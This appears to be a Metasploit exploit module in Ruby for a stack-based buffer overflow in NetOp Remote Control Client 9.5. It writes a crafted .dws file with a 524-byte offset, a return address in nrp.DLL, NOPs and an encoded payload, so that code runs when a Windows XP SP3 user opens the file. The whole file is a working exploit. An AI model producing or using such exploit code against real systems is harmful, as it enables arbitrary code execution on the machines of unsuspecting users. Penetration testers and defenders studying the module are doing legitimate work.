74 lines
1.8 KiB
Ruby
74 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
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When opening a .dws file containing a specially crafted string longer then 520
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characters will allow an attacker to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Ruben Alejandro "chap0"',
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],
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'References' =>
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[
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[ 'OSVDB', '72291' ],
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[ 'EDB', '17223' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00\x0a\x0d",
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'DisableNops' => true,
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'StackAdjustment' => -3500
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},
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'Targets' =>
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[
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[ 'Windows XP SP3',
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{
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'Ret' => 0x20d6c32c, # push esp # ret - nrp.DLL
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'Offset' => 524
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 28 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
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], self.class)
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end
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def exploit
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buffer = rand_text(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << make_nops(30)
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buffer << payload.encoded
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file_create(buffer)
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end
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end
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